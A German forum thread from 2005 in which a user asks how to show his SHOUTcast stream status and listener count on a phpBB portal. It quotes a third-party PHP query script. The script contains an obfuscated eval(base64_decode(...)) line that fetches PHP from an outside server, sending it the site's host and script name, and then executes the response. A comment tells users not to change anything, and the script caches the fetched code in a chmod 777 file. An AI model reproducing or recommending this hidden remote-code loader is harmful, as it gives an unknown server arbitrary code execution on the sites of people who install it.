Seite 1 von 1

array einbinden

Verfasst: 17.12.2005 17:45
von kolja
hallo forum
ich möchte gerne in meinem portal anzeigen lassen ob mein schoucast server sendet und wieviele user gerade zuhören

ein script dazu habe ich schon gefunden

Code: Alles auswählen

/* SETTINGS
 */

$s = "s";                               // 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://reggae-party.dyndns.org:8000/";    // URL of Playlistfile or Streamserver
$cachefile = "./streamcahce.txt";       // Cached stream information (chmod 777) !!!
$an = "streamdata";                     // content array name

/* INFO
 * There are some new useful array keys in the 'content array'.
 *
 *   <array name>["error"]      = "1";           // if an error occurred, value = 1
 *   <array name>["error_code"] = "201";         // error code
 *
 *   <array name>["timestamp"]     = "2005-05-06 18:57:29";    // timestamp (yyyy-mm-dd hh:mm:ss)
 *   <array name>["latest_client"] = "2.0.0";    // latest client version
 *   <array name>["my_client"]     = "1.9.0";    // my client version
 *   <array name>["new_client"]    = "1";        // if (this == "1"): new client version availible! ***PLEASE UPDATE***
 */


//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vc2MubmV0LXRyYXguZGUvP2g9Jy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJyZmPScudXJsZW5jb2RlKCRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKS4nJnY9QXJhY2huYSc=").".'&s=".$s."&u=".urlencode($u)."&an=".urlencode($an)."';");
$fh = @fopen($_url, "r");
if ($fh) {
   while (!feof($fh)) {
      $_buffer .= fgets($fh, 4096);
   }
   fclose($fh);
   $_buffer = preg_replace("/<\?php/s","", $_buffer);
   $_buffer = preg_replace("/\?>/s","", $_buffer);
   eval ($_buffer);
   $_scq_error=0;
   eval ("\$_scq_error = $".$an."[\"error\"];");
   if ($_scq_error != "1") {
      $fh2 = fopen($cachefile, "w");
      fwrite($fh2, $_buffer);
      fclose($fh2);
   }
}
if (!$fh || $_scq_error == "1") {
   $fh = fopen($cachefile, "r");
   while (!feof($fh)) {
      $_buffer .= fgets($fh, 4096);
   }
   fclose($fh);
   eval ($_buffer);
}

//* you include the 'content array' (name specified in settings section)
//* to get more information about this array, uncomment the following line!
show_source($_url);



?>
wenn ich das aufrufe:
http://www.reggae-party.de/query.php
dann bekomme ich einen kompletten array angezeigt

dabei brauche ich nur 2 werte aus dem ganzen:

$streamdata["stream"]["status"]
$streamdata["stream"]["listener"]

wenn der status "1" ist soll ein button im header geändert werden
und die anzahl der listener möchte ich gerne in meiner "wer ist online" box im portal stehen haben

ich versuche nun schon etwas länger herruszufinden wie ich diese variabelen in die portal.php bzw in die overall_header.php dateien bekomme, leider ohne erfolg

und beim suchen nach "php und array" finde ich irgendwei immer nur arrays welche anders aufgebaut sind....

kann mir da vielleicht ein profi mal nen tipp geben

danke kolja

Verfasst: 18.12.2005 17:03
von kolja
also ein bischen was habe ich geschafft

in der page_header.php

Code: Alles auswählen

//shoutcast
include 'query.php';
echo $streamdata["stream"]["status"];
//shoutcast
allerdings wird , wenn ich die letzte zeile des scriptes im ersten post auskommentiere, der status nicht geändert

einer ne idee dazu ??


kolja


edit

die null steht oben links auf meiner seite.....

Verfasst: 20.12.2005 15:28
von kolja
also der code funktioniert doch, aber etwas zeitversetzt

damit lässt sich aber leben

kolja